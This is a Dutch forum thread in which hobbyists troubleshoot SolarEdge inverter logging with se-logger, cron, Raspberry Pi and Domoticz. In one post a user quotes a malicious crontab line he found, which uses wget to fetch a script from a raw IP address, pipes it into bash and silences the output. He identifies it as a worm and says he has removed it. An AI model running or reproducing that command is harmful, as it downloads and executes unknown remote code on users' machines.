Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
stormfly schreef op dinsdag 2 juli 2019 @ 06:58:
[...]


En username, pass, port en IP van je DB settings kloppen? Andere editor gebruiken/hidden karakters oid?
User en pass zijn zelfde als waarmee ik inlog in PHPmyAdmin en localhost gebruik ik als ip.

Het heeft continue gewerkt met deze gegevens?

Wat mij opvalt is dat de pcap maar blijft groeien en niet elke avond opnieuw opstart?

Ik heb ook nog geprobeerd 6.3 De database bijwerken nadat je de encryptiesleutel hebt ingevoerd te volgen en dit lijkt gewoon goed te gaan:
code:
1
2
3
4
5
pi@raspberpython /opt/se-logger/liveupdate.py /opt/se-logger/*.pcap
Reading from /opt/se-logger/solaredge-20190701162627.pcap
Reading from /opt/se-logger/solaredge-20190702173645.pcap
Reading from /opt/se-logger/solaredge-20190702173839.pcap
End of file. Shutting down.

[ Voor 78% gewijzigd door MaikelK. op 02-07-2019 20:05 ]

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
Ik ben nog wat aan het proberen geweest en heb de laatste versie van @Jerrythafast geinstalleerd.
Wat mij opviel wat dat men crontab leeg was. Deze heb ik er dus weer ingezet en hoogstwaarschijnlijk zal nu elke avond de PCAP weer stoppen en een nieuwe worden aangemaakt.

Verder heb ik de database verwijderd, en opnieuw opgebouwd. De bestanden van 13-06-2019 worden wel in de database in geladen.

Kom wel af en toe deze meldingen tegen:
code:
1
2
3
4
5
6
7
8
9
10
Reading from /opt/se-logger/backup/solaredge-20190207233004.pcap
Setting new 0503 key
56ce099d  Out of order packet! SEQ=0000af50 expect=0000ae18 (Gap size 312)
56ce099d  DATA LOSS 312 bytes!
56ce099d  Gap closed after 109.540798 seconds
56ce099d  Stream is contiguous again
56ce099d  Out of order packet! SEQ=0000c16f expect=0000bfce (Gap size 417)
56ce099d  DATA LOSS 417 bytes!
56ce099d  Gap closed after 113.976139 seconds
56ce099d  Stream is contiguous again


De andere bestanden zoals in de post hierboven worden wel door het script doorgelopen maar lijken niets toe te voegen aan de database. Er komt echter ook geen melding dat er bv. geen data in zou zitten?

Als ik ze open met Wireshark zie ik veel Solaredge voorbij schuiven....?

[ Voor 28% gewijzigd door MaikelK. op 03-07-2019 13:57 ]

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • MDKlapwijk
  • Registratie: Maart 2003
  • Laatst online: 20:59

MDKlapwijk

Kubiekdriehoekje

Is de encryptie sleutel niet veranderd? Heb je het keysearch-script al op al deze file losgelaten om te kijken of er een nieuw/ander in staat?

Kijk uit: ben gek op achteruitkijkglimmertjes, zowel linker als rechter...


Acties:
  • 0 Henk 'm!

  • Wiley99
  • Registratie: Juni 2014
  • Laatst online: 23:15
KrL schreef op woensdag 5 juni 2019 @ 22:35:
Een uitdaging omdat ik nog een oude vertrouwde ferrismeter heb die ik uitlees met een Youless LS120: die bepaalt het verbruik op basis van het optisch 'tellen' van de zwarte stip op de draaischijf maar kan niet zien of deze vooruit of achteruit draait, dit geeft dus een vertekend beeld icm een PV installatie.
Zelfde probleem als je 'm aan je P1 kan hangen. Mijn 'actuele verbruik' metertjes schieten soms alle kanten op, heb ik niet veel aan dus behalve als het strak blauw of zwart is.

Onlangs ook een nieuwe omvormer gekregen, dus dit lijkt op een zegen.
Ik heb op basis hiervan een heel simpel python script geschreven dat elke 10 seconden het huidige vermogen en de dag/totaalopbrengst uitleest en deze naar een virtuele sensor in Domoticz stuurt. Deze toont ze, slaat ze op en maakt er allerlei mooie grafieken en rapporten van.
Fantastisch! Dankjewel voor het script. Ik ga alleen een luie vraag stellen omdat ik helemaal niet thuis ben in Python, ondanks dat ik het script wel kan lezen: zou je /ons me willen helpen met de installatie 'stappen' voor linux / rpi? Zoiets als dit
0. Zorg dat je Python3 hebt, inclusief python3-pip packages
1.
code:
1
pip3 install solaredge-local

2. zet Python script in
code:
1
~/...
?
3. schedule Python script / voeg het aan init.d toe zodat het start na reboot

A polar bear is a rectangular bear after a coordinate transform - Never attribute to malice that which is adequately explained by stupidity


Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
MDKlapwijk schreef op vrijdag 5 juli 2019 @ 10:49:
Is de encryptie sleutel niet veranderd? Heb je het keysearch-script al op al deze file losgelaten om te kijken of er een nieuw/ander in staat?
Zojuist gechecked, onveranderd.

Wat met ook opgevallen is is dat alsnog de cronjob niet werkt...
De PCAP blijft doorlopen.

Dit is mijn crontab:
code:
1
2
3
4
5
6
7
*/1 * * * * /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 10; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 20; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 30; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 40; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 50; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
30 0 * * * /usr/sbin/service se-logger restart


De andere regels werken perfect. Deze lezen elke 10 seconden de SDM120C uit die ik tussen de Solaredge en de meterkast heb hangen voor een real-time productie meting in Domoticz.

Kunnen we de crontab nog checken waarom deze bijvoorbeeld de restart niet uitvoert?

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • +3 Henk 'm!

  • abra69
  • Registratie: Januari 2007
  • Laatst online: 06-02-2021
Hmm... ik heb een nieuw model SolarEdge hd3680 zonder display. Het is me gelukt om deze lokaal per seconde (!) uit te lezen. Ik heb dit gedaan voor Domoticz, maar het is even blijven liggen. Iemand interesse?

-Domoticz plugin
- Python3
- vermogen, temperatuur, spanning

Was mijn eerste ervaring met Domoticz plugins maken en ik heb me voorgenomen om e.e.a. nog een keer wat op te schonen, dus nog niet gepubliceerd.Op mijn todolijst staan o.a. meer testen, database optimalisaties en berekening lokaal gebruikt vermogen in P1.

P.s. het werkt als je een lokale SetApp web interface kunt vinden op het IP adres van de inverter. Gewoon poort 80, onbeveiligd. Eerste keer kan even duren. Mijn script gebruikt de ProtoBuf status. Zie https://github.com/jbuehl/solaredge

Acties:
  • 0 Henk 'm!

  • abra69
  • Registratie: Januari 2007
  • Laatst online: 06-02-2021
ZwarteIJsvogel schreef op vrijdag 31 mei 2019 @ 08:20:
[...]

De modellen die je met de SetApp moet instellen (dus die zonder display) hebben niet alleen een Web UI, maar naar verluidt ook een web service waar je allerlei gegevens uit kunt halen, ook per optimizer. Dit geldt in elk geval voor de US-modellen, maar ik heb geen reden om aan te nemen dat dat voor de Europese modellen anders is en ook lijkt de SetApp deze web service te gebruiken.

Meer details vind je hier. Net als het monitoring portal protocol is dit door SolarEdge niet gedocumenteerd (zelfs het bestaan van de Web UI wordt nergens genoemd) en er moet nog veel worden uitgezocht. Maar het ziet er veelbelovend uit.
Klopt. Zie mijn reactie 6-7. Ik heb een experimentele driver voor Domoticz gemaakt op basis van bestaande open source.

Acties:
  • 0 Henk 'm!

  • Wiley99
  • Registratie: Juni 2014
  • Laatst online: 23:15
abra69 schreef op zaterdag 6 juli 2019 @ 08:23:
Hmm... ik heb een nieuw model SolarEdge hd3680 zonder display. Het is me gelukt om deze lokaal per seconde (!) uit te lezen. Ik heb dit gedaan voor Domoticz, maar het is even blijven liggen. Iemand interesse?

-Domoticz plugin
- Python3
- vermogen, temperatuur, spanning

Was mijn eerste ervaring met Domoticz plugins maken en ik heb me voorgenomen om e.e.a. nog een keer wat op te schonen, dus nog niet gepubliceerd.Op mijn todolijst staan o.a. meer testen, database optimalisaties en berekening lokaal gebruikt vermogen in P1.

P.s. het werkt als je een lokale SetApp web interface kunt vinden op het IP adres van de inverter. Gewoon poort 80, onbeveiligd. Eerste keer kan even duren. Mijn script gebruikt de ProtoBuf status. Zie https://github.com/jbuehl/solaredge
Ik heb het python script van KrL aan de praat en dat werkt vooralsnog goed. Zal deze tzt ook eens proberen. Mooi werk, heren!

A polar bear is a rectangular bear after a coordinate transform - Never attribute to malice that which is adequately explained by stupidity


Acties:
  • 0 Henk 'm!

  • MDKlapwijk
  • Registratie: Maart 2003
  • Laatst online: 20:59

MDKlapwijk

Kubiekdriehoekje

MaikelK. schreef op vrijdag 5 juli 2019 @ 22:14:
[...]
Dit is mijn crontab:
code:
1
2
3
4
5
6
7
*/1 * * * * /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 10; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 20; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 30; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 40; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
*/1 * * * * sleep 50; /usr/bin/python /home/pi/domoticz/scripts/user/sdm120c.py
30 0 * * * /usr/sbin/service se-logger restart
De '*/1' is niet nodig, '*' is voldoende om elke minuut uit te voeren. Los van de vraag of je het script vaker dan eens per minuut uit wil voeren of via dzVents in Domoticz, zou je een for loop kunnen gebruiken.

Even wat voorbeeldjes om het e.e.a. te verduidelijken:
code:
1
2
3
root@domoticz-01:~# cat /etc/cron.d/test
* * * * * root /bin/bash -c 'for i in {1..6}; do date >> /tmp/date.root; sleep 10; done' 2>&1
* * * * * pi /bin/bash -c 'for i in {1..6}; do date >> /tmp/date.pi; sleep 10; done' 2>&1

code:
1
2
3
root@domoticz-01:~# l /tmp/date*
-rw-r--r-- 1 pi   pi   90 Jul  6 10:23 /tmp/date.pi
-rw-r--r-- 1 root root 90 Jul  6 10:23 /tmp/date.root

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@domoticz-01:~# cat /tmp/date.pi
Sat  6 Jul 10:33:01 CEST 2019
Sat  6 Jul 10:33:11 CEST 2019
Sat  6 Jul 10:33:21 CEST 2019
Sat  6 Jul 10:33:31 CEST 2019
Sat  6 Jul 10:33:41 CEST 2019
Sat  6 Jul 10:33:51 CEST 2019
Sat  6 Jul 10:34:01 CEST 2019
Sat  6 Jul 10:34:11 CEST 2019
Sat  6 Jul 10:34:21 CEST 2019
Sat  6 Jul 10:34:31 CEST 2019
Sat  6 Jul 10:34:41 CEST 2019
Sat  6 Jul 10:34:51 CEST 2019
Sat  6 Jul 10:35:01 CEST 2019
Sat  6 Jul 10:35:11 CEST 2019
Sat  6 Jul 10:35:21 CEST 2019
Sat  6 Jul 10:35:31 CEST 2019
Sat  6 Jul 10:35:41 CEST 2019
Sat  6 Jul 10:35:51 CEST 2019

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@domoticz-01:~# cat /tmp/date.root
Sat  6 Jul 10:33:01 CEST 2019
Sat  6 Jul 10:33:11 CEST 2019
Sat  6 Jul 10:33:21 CEST 2019
Sat  6 Jul 10:33:31 CEST 2019
Sat  6 Jul 10:33:41 CEST 2019
Sat  6 Jul 10:33:51 CEST 2019
Sat  6 Jul 10:34:01 CEST 2019
Sat  6 Jul 10:34:11 CEST 2019
Sat  6 Jul 10:34:21 CEST 2019
Sat  6 Jul 10:34:31 CEST 2019
Sat  6 Jul 10:34:41 CEST 2019
Sat  6 Jul 10:34:51 CEST 2019
Sat  6 Jul 10:35:01 CEST 2019
Sat  6 Jul 10:35:11 CEST 2019
Sat  6 Jul 10:35:21 CEST 2019
Sat  6 Jul 10:35:31 CEST 2019
Sat  6 Jul 10:35:41 CEST 2019
Sat  6 Jul 10:35:51 CEST 2019


Zelf ben ik vanuit een beheer technisch standpunt niet zo'n fan van het gebruik van van crontab op servers, ik zie liever de /etc/cron.d/ gebruikt worden. Met cron.d wordt de uitvoerende gebruiker expliciet in de cron regel genoemd en niet door de naam van de file in /var/spool/cron.

Mijn cron.d voor se-logger ziet er dan ook zo uit:
code:
1
2
3
root@domoticz-01:~# cat /etc/cron.d/se-logger
30 0 * * *      root    /usr/sbin/service se-logger restart >/dev/null 2>&1
*/2 * * * *     root    date >> /opt/se-logger/pvo-upload.log; /usr/bin/php /opt/se-logger/pvo-upload.php >> /opt/se-logger/pvo-upload.log 2>&1

Note: de '>/dev/null' stuurt alle standaard output naar de shredder en de '2>&1' stuurt ook alle errors naar standaard output (en dus naar de shredder of pvo-upload.log).

Ik vermoed dan ook dat je de restart van de se-logger in de crontab van 'pi' hebt staan, terwijl deze misschien alleen door 'root' herstart kan/mag worden. Verder zou ik dus ook nog even naar de rechten op alle bestanden en scripts kijken, bij mij draait dit alles dus onder root, omdat ik nooit de moeite heb genomen om een aparte gebruiker aan te maken:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@domoticz-01:~# l /opt/se-logger/
total 559608
drwxr-xr-x 2 root root   53248 Jul  6 10:34 .
drwxr-xr-x 8 root root    4096 Jun  2 21:17 ..
-rw-r--r-- 1 root root      15 Jul  6 10:34 liveupdate.log
-rw-r--r-- 1 root root   21965 Sep 20  2017 liveupdate.py
-rw-r--r-- 1 root root    2272 Apr 17  2017 pvo-upload-3phase.php
-rw-r--r-- 1 root root 7718882 Jul  6 10:44 pvo-upload.log
-rw-r--r-- 1 root root    2173 Sep 20  2017 pvo-upload.php
-rw-r--r-- 1 root root     645 Feb 15  2018 se-logger-service.sh
-rw-r--r-- 1 root root    1364 Sep 19  2017 solaredge-20170919212645.pcap
...
-rw-r--r-- 1 root root  848443 Jul  6 00:29 solaredge-20190704223001.pcap
-rw-r--r-- 1 root root  322663 Jul  6 10:33 solaredge-20190705223001.pcap
-rw-r--r-- 1 root root    7011 Jul  6 10:44 solaredge-20190706083414.pcap
-rw-r--r-- 1 root root      83 Jul  6 10:34 tcpdump.log

[ Voor 16% gewijzigd door MDKlapwijk op 06-07-2019 11:12 ]

Kijk uit: ben gek op achteruitkijkglimmertjes, zowel linker als rechter...


Acties:
  • 0 Henk 'm!
MaikelK. schreef op vrijdag 5 juli 2019 @ 22:14:
Wat met ook opgevallen is is dat alsnog de cronjob niet werkt...
De PCAP blijft doorlopen.
Twee opties:
1. Zoals @MDKlapwijk hierboven zegt zal het niet werken als de crontab waarin de service restart staat geen root rechten heeft.
2. Als hij wel een nieuw bestand maakt (dus de service lijkt wel opnieuw te starten), maar het oude bestand blijft doorgroeien, heb je te maken met deze:
Uit de FAQ:
Het stoppen/herstarten van se-logger gaat niet goed; het oude .pcap bestand blijft groeien
In het bestand '/etc/systemd/system/se-logger.service' kun je proberen de 'KillMode=' regel aan te passen naar 'KillMode=control-group'. Dit is in ieder geval nodig op Raspbian; als je een ander OS draait op jouw logger kan het misschien ook helpen. In dat geval wordt het gewaardeerd als je even een bericht in dit topic plaatst met welk OS je draait en of het probleem hiermee is opgelost of niet O-)

Acties:
  • +1 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
MDKlapwijk schreef op zaterdag 6 juli 2019 @ 10:40:
[...]

Zelf ben ik vanuit een beheer technisch standpunt niet zo'n fan van het gebruik van van crontab op servers, ik zie liever de /etc/cron.d/ gebruikt worden. Met cron.d wordt de uitvoerende gebruiker expliciet in de cron regel genoemd en niet door de naam van de file in /var/spool/cron.

Mijn cron.d voor se-logger ziet er dan ook zo uit:
code:
1
2
3
root@domoticz-01:~# cat /etc/cron.d/se-logger
30 0 * * *      root    /usr/sbin/service se-logger restart >/dev/null 2>&1
*/2 * * * *     root    date >> /opt/se-logger/pvo-upload.log; /usr/bin/php /opt/se-logger/pvo-upload.php >> /opt/se-logger/pvo-upload.log 2>&1

Note: de '>/dev/null' stuurt alle standaard output naar de shredder en de '2>&1' stuurt ook alle errors naar standaard output (en dus naar de shredder of pvo-upload.log).

Ik vermoed dan ook dat je de restart van de se-logger in de crontab van 'pi' hebt staan, terwijl deze misschien alleen door 'root' herstart kan/mag worden. Verder zou ik dus ook nog even naar de rechten op alle bestanden en scripts kijken, bij mij draait dit alles dus onder root, omdat ik nooit de moeite heb genomen om een aparte gebruiker aan te maken:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@domoticz-01:~# l /opt/se-logger/
total 559608
drwxr-xr-x 2 root root   53248 Jul  6 10:34 .
drwxr-xr-x 8 root root    4096 Jun  2 21:17 ..
-rw-r--r-- 1 root root      15 Jul  6 10:34 liveupdate.log
-rw-r--r-- 1 root root   21965 Sep 20  2017 liveupdate.py
-rw-r--r-- 1 root root    2272 Apr 17  2017 pvo-upload-3phase.php
-rw-r--r-- 1 root root 7718882 Jul  6 10:44 pvo-upload.log
-rw-r--r-- 1 root root    2173 Sep 20  2017 pvo-upload.php
-rw-r--r-- 1 root root     645 Feb 15  2018 se-logger-service.sh
-rw-r--r-- 1 root root    1364 Sep 19  2017 solaredge-20170919212645.pcap
...
-rw-r--r-- 1 root root  848443 Jul  6 00:29 solaredge-20190704223001.pcap
-rw-r--r-- 1 root root  322663 Jul  6 10:33 solaredge-20190705223001.pcap
-rw-r--r-- 1 root root    7011 Jul  6 10:44 solaredge-20190706083414.pcap
-rw-r--r-- 1 root root      83 Jul  6 10:34 tcpdump.log
E.a. was niet toegewezen aan root maar aan PI. Heb hier een chown op de hele folder toegepast. Alles is nu root.

Wat je precies bedoelt met alle andere voorbeelden, dat snap ik helaas (nog) niet.
Jerrythafast schreef op zondag 7 juli 2019 @ 13:04:
[...]

Twee opties:
1. Zoals @MDKlapwijk hierboven zegt zal het niet werken als de crontab waarin de service restart staat geen root rechten heeft.
2. Als hij wel een nieuw bestand maakt (dus de service lijkt wel opnieuw te starten), maar het oude bestand blijft doorgroeien, heb je te maken met deze:

[...]
Killmode stond goed, enige wat ik nu opmerkte was:
-rw-r--r-- 1 pi pi 290 Jun 14 2018 se-logger.service

Dus deze heb ik ook aan root toegewezen


Blijft het verhaal dat ik voor 13 juni een goed werkend systeem had.
Ik heb een reboot gedaan zoals wel vaker en sinds die reboot werkt het niet meer.... Raar toch?

EDIT:

Shit.... ik was er 100% zeker van dat ik SUDO crontab -e heb gedaan.......... blijkbaar niet...
Nu ik dit wel deed kwam ik het volgende tegen:
code:
1
* * * * * wget http://107.174.47.156/mr.sh | bash -sh > /dev/null 2>&1


Dit blijkt een worm te zijn.... Welke rond de 12de/13de bij mensen is geinstalleerd... zie ook:
https://www.domoticz.com/...18d19e5815bc1f64efbb85f68

Mijn Pi had ook al sinds de 13de last van slechte bereikbaarheid... afgelopen week heb ik een keer een update voor domoticz doorgevoerd via Putty.. Blijkbaar is daarmee het gat gedicht en bleef mijn PI weer draaien.....

Ik heb nu de volledige cronjobs waarin de worm zat leeg gegooid en hij lijkt ook niet meer actief te zijn....

Zo zie je maar weer, niet gebeurd zonder reden!

[ Voor 11% gewijzigd door MaikelK. op 07-07-2019 17:58 ]

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • Freee!!
  • Registratie: December 2002
  • Laatst online: 22:38

Freee!!

Trotse papa van Toon en Len!

abra69 schreef op zaterdag 6 juli 2019 @ 08:23:
Hmm... ik heb een nieuw model SolarEdge hd3680 zonder display. Het is me gelukt om deze lokaal per seconde (!) uit te lezen. Ik heb dit gedaan voor Domoticz, maar het is even blijven liggen. Iemand interesse?

-Domoticz plugin
- Python3
- vermogen, temperatuur, spanning

Was mijn eerste ervaring met Domoticz plugins maken en ik heb me voorgenomen om e.e.a. nog een keer wat op te schonen, dus nog niet gepubliceerd.Op mijn todolijst staan o.a. meer testen, database optimalisaties en berekening lokaal gebruikt vermogen in P1.

P.s. het werkt als je een lokale SetApp web interface kunt vinden op het IP adres van de inverter. Gewoon poort 80, onbeveiligd. Eerste keer kan even duren. Mijn script gebruikt de ProtoBuf status. Zie https://github.com/jbuehl/solaredge
Ik ben wel geïnteresseerd, heb nu een goede maand ook een Solaredge, die ik inderdaad via de lokale SetApp web interface kan bekijken.
Ik heb ondertussen Domoticz als Docker container aan de praat gekregen, maar ik kom nog niet in de webinterface daarvan.

The problem with common sense is that sense never ain't common - From the notebooks of Lazarus Long

GoT voor Behoud der Nederlandschen Taal [GvBdNT


Acties:
  • 0 Henk 'm!

  • darklord007
  • Registratie: Augustus 2004
  • Laatst online: 15-09 14:33
Het is een beetje randje offtopic, maar mijn omvormer wil niet meer rapporteren nadat ik de wifi module heb verwijderd en vervangen door een lan kabel.
Hij heeft wel netjes een ip adres, maar ik zie geen updates meer in de portal.

Iemand een idee wat ik verkeerd doe?
Want op het scherm zelf is wel productie

Acties:
  • +1 Henk 'm!

  • stormfly
  • Registratie: Juli 2001
  • Laatst online: 00:28
darklord007 schreef op maandag 8 juli 2019 @ 08:29:
Het is een beetje randje offtopic, maar mijn omvormer wil niet meer rapporteren nadat ik de wifi module heb verwijderd en vervangen door een lan kabel.
Hij heeft wel netjes een ip adres, maar ik zie geen updates meer in de portal.

Iemand een idee wat ik verkeerd doe?
Want op het scherm zelf is wel productie
Wat geeft de internet connectivity test op het display weer?

Acties:
  • 0 Henk 'm!

  • darklord007
  • Registratie: Augustus 2004
  • Laatst online: 15-09 14:33
stormfly schreef op maandag 8 juli 2019 @ 08:46:
[...]


Wat geeft de internet connectivity test op het display weer?
Hoe start ik die?
Kan door het menu gaan en dan zie ik dat er geen wifi is en een ander scherm geeft het ip en mac adr ed aan.


YouTube: 10kW SolarEdge Ethernet Hookup gaf het andwoord. Beetje verstopt maar moest idd omzetten naar lan.

Bedankt!

[ Voor 21% gewijzigd door darklord007 op 08-07-2019 09:17 ]


Acties:
  • 0 Henk 'm!

  • peterpijpelink
  • Registratie: Juni 2006
  • Laatst online: 18-09 08:03

peterpijpelink

07B2 - 11110110010

Hallo, heeft iemand al ervaring met de interne verbruik meter? Heb die liggen met 3 CT klemmen, moet alleen nog tijd vinden om kabel te trekken tussen omvormer en meterkast..

Gaat om deze

07B2 - http://pvoutput.org/list.jsp?userid=22724 [Zonneboiler + 38 zonnepanelen, Warmtepomp 11.2 Ecodan + Daikin Ururu airco] Van gas los sinds 07-2019 - Goede doel Oekraine ondersteunen? zie blog: https://ritvanjeleven.blogspot.com


Acties:
  • 0 Henk 'm!

  • niqck
  • Registratie: Maart 2003
  • Laatst online: 09-09 13:31
peterpijpelink schreef op maandag 8 juli 2019 @ 09:10:
Hallo, heeft iemand al ervaring met de interne verbruik meter? Heb die liggen met 3 CT klemmen, moet alleen nog tijd vinden om kabel te trekken tussen omvormer en meterkast..

Gaat om deze
Geen ervaring met deze specifiek maar ik gebruik een Smappee die op soortgelijke wijze werkt. Heb 3 klemmen over mijn fases geplaatst en 1 klem over de solar. Zo heb ik ook een overzicht van productie/verbruik via hun portaal. De Smappee kan ook via MQTT zijn gegevens publiceren waar je dan zelf grafiekjes van kan maken (doe ik in Grafana).

Acties:
  • 0 Henk 'm!

  • peterpijpelink
  • Registratie: Juni 2006
  • Laatst online: 18-09 08:03

peterpijpelink

07B2 - 11110110010

niqck schreef op maandag 8 juli 2019 @ 12:21:
[...]

Geen ervaring met deze specifiek maar ik gebruik een Smappee die op soortgelijke wijze werkt. Heb 3 klemmen over mijn fases geplaatst en 1 klem over de solar. Zo heb ik ook een overzicht van productie/verbruik via hun portaal. De Smappee kan ook via MQTT zijn gegevens publiceren waar je dan zelf grafiekjes van kan maken (doe ik in Grafana).
Oke, en heb je die met UTP aangesloten? vraag me af of met UTP Cat5 mag of met van die signaalkabel die ook voor alarminstallatie gebruikt wordt.

07B2 - http://pvoutput.org/list.jsp?userid=22724 [Zonneboiler + 38 zonnepanelen, Warmtepomp 11.2 Ecodan + Daikin Ururu airco] Van gas los sinds 07-2019 - Goede doel Oekraine ondersteunen? zie blog: https://ritvanjeleven.blogspot.com


Acties:
  • +1 Henk 'm!

  • niqck
  • Registratie: Maart 2003
  • Laatst online: 09-09 13:31
peterpijpelink schreef op maandag 8 juli 2019 @ 13:23:
[...]


Oke, en heb je die met UTP aangesloten? vraag me af of met UTP Cat5 mag of met van die signaalkabel die ook voor alarminstallatie gebruikt wordt.
Geen idee hoe de meter van SolarEdge aangesloten moet worden.

Omvormer, meterkast en Smappee staan allemaal vlak bij elkaar; alles kon met bijgeleverde kabels gedaan worden. Smappee werkt niet rechtstreeks samen met de omvormer maar verzorgt een soortgelijke functie (opbrengst/verbruik meten, grootverbruikers proberen te identificeren aan de hand van hun 'melodietje'). Wat ik wel merkte is dat de opbrengst die Smappee registreert tov wat SolarEdge rapporteert een klein beetje kunnen verschillen (soms tot 2-3%).

YouTube: How do I install the Smappee Solar (Three-Phase)?

Afbeeldingslocatie: https://ibb.co/4sh8FfC

Acties:
  • 0 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
Heren,
Ik heb e.e.a. geinstalleerd op een raspberry 2 met wifi adapter, alles lijkt goed te werken behalve de encryptiesleutel krijg ik niet uit mijn omvormer gepeuterd.
Raspberry met een usb kabel verbonden met de usb van de omvormer SE3000H. Python 2.7 staat standaard geinstalleerd maar krijg de volgende foutmeldingen. Voor het gemak heb ik het bestand key.py genoemd.
Traceback (most recent call last):
File "key.py", line 93, in <module>
connection = serial.Serial(serial_port, 115200)
File "/usr/lib/python2.7/dist-packages/serial/serialutil.py", line 240, in __init__
self.open()
File "/usr/lib/python2.7/dist-packages/serial/serialposix.py", line 272, in open
self._reconfigure_port(force_update=True)
File "/usr/lib/python2.7/dist-packages/serial/serialposix.py", line 326, in _reconfigure_port
raise SerialException("Could not configure port: {}".format(msg))
serial.serialutil.SerialException: Could not configure port: (25, 'Inappropriate ioctl for device')
iemand enig idee.
Grts René

Acties:
  • 0 Henk 'm!

  • Mich
  • Registratie: December 2000
  • Laatst online: 17-09 23:21
abra69 schreef op zaterdag 6 juli 2019 @ 08:23:
Hmm... ik heb een nieuw model SolarEdge hd3680 zonder display. Het is me gelukt om deze lokaal per seconde (!) uit te lezen. Ik heb dit gedaan voor Domoticz, maar het is even blijven liggen. Iemand interesse?

-Domoticz plugin
- Python3
- vermogen, temperatuur, spanning

Was mijn eerste ervaring met Domoticz plugins maken en ik heb me voorgenomen om e.e.a. nog een keer wat op te schonen, dus nog niet gepubliceerd.Op mijn todolijst staan o.a. meer testen, database optimalisaties en berekening lokaal gebruikt vermogen in P1.

P.s. het werkt als je een lokale SetApp web interface kunt vinden op het IP adres van de inverter. Gewoon poort 80, onbeveiligd. Eerste keer kan even duren. Mijn script gebruikt de ProtoBuf status. Zie https://github.com/jbuehl/solaredge
Krijg je ook elke seconde een update van de optimiser informatie (spanning, stroom, temp enz)? Ik lees deze ook lokaal uit maar het lijkt erop dat dit maar elke 5 minuten vernieuwt wordt. De status pagina met vermogen, temp en spanning update idd veel vaker (nog niet gecheckt of het 1 sec is). Update je script ook echt zo vaak?

Acties:
  • 0 Henk 'm!

  • rjhilbrink
  • Registratie: Oktober 2007
  • Laatst online: 17-09 20:38
peterpijpelink schreef op maandag 8 juli 2019 @ 09:10:
Hallo, heeft iemand al ervaring met de interne verbruik meter? Heb die liggen met 3 CT klemmen, moet alleen nog tijd vinden om kabel te trekken tussen omvormer en meterkast..

Gaat om deze
Ik gebruik een eigen meter p1 die ik via een stukje software laat vertalen naar een van de ondersteunde meters op rs485.
Alleen maar omdat ik dat er leuk vindt uitzien in de SolarEdge portaal. Afstand tussen se en de meterkast is voor mij te groot, vandaar met 2 pi’s over het netwerk..
Enige nadeel is dat mijn p1 meter elke 10 seconden een update geeft terwijl de se elke seconde de standen opvraagt.

PV: Panasonic HIT Kuro/SolarEdge HD Wave 4.225 kWp verdeeld over 2600 Zuid Oost en 1625 Noord West


Acties:
  • 0 Henk 'm!

  • abra69
  • Registratie: Januari 2007
  • Laatst online: 06-02-2021
Mich schreef op maandag 8 juli 2019 @ 23:07:
[...]


Krijg je ook elke seconde een update van de optimiser informatie (spanning, stroom, Remo enz)? Ik lees deze ook lokaal uit maar het lijkt erop dat dit maar elke 5 minuten vernieuwt wordt. De status pagina met vermogen, temp en spanning update idd veel vaker (nog niet gecheckt of het 1 sec is). Update je script ook echt zo vaak?
Ik zal later eens kijken wat eruit komt. Ik heb al even niet aan het script gewerkt. 1Hz is de maximale frequentie van de Protobuf interface (ieder request duurt 0-1s). Het klinkt aannemelijk de optimizer informatie wat langzamer is i.v.m. de communicatie tussen panelen en inverter.

Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
rjhilbrink schreef op maandag 8 juli 2019 @ 23:49:
[...]

Ik gebruik een eigen meter p1 die ik via een stukje software laat vertalen naar een van de ondersteunde meters op rs485.
Alleen maar omdat ik dat er leuk vindt uitzien in de SolarEdge portaal. Afstand tussen se en de meterkast is voor mij te groot, vandaar met 2 pi’s over het netwerk..
Enige nadeel is dat mijn p1 meter elke 10 seconden een update geeft terwijl de se elke seconde de standen opvraagt.
Dit klinkt erg interessant, please tell us(me) more!

Dit zou ik ook wel willen aansluiten op mij SolarEdge.

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • Mich
  • Registratie: December 2000
  • Laatst online: 17-09 23:21
rjhilbrink schreef op maandag 8 juli 2019 @ 23:49:
[...]

Ik gebruik een eigen meter p1 die ik via een stukje software laat vertalen naar een van de ondersteunde meters op rs485.
Alleen maar omdat ik dat er leuk vindt uitzien in de SolarEdge portaal. Afstand tussen se en de meterkast is voor mij te groot, vandaar met 2 pi’s over het netwerk..
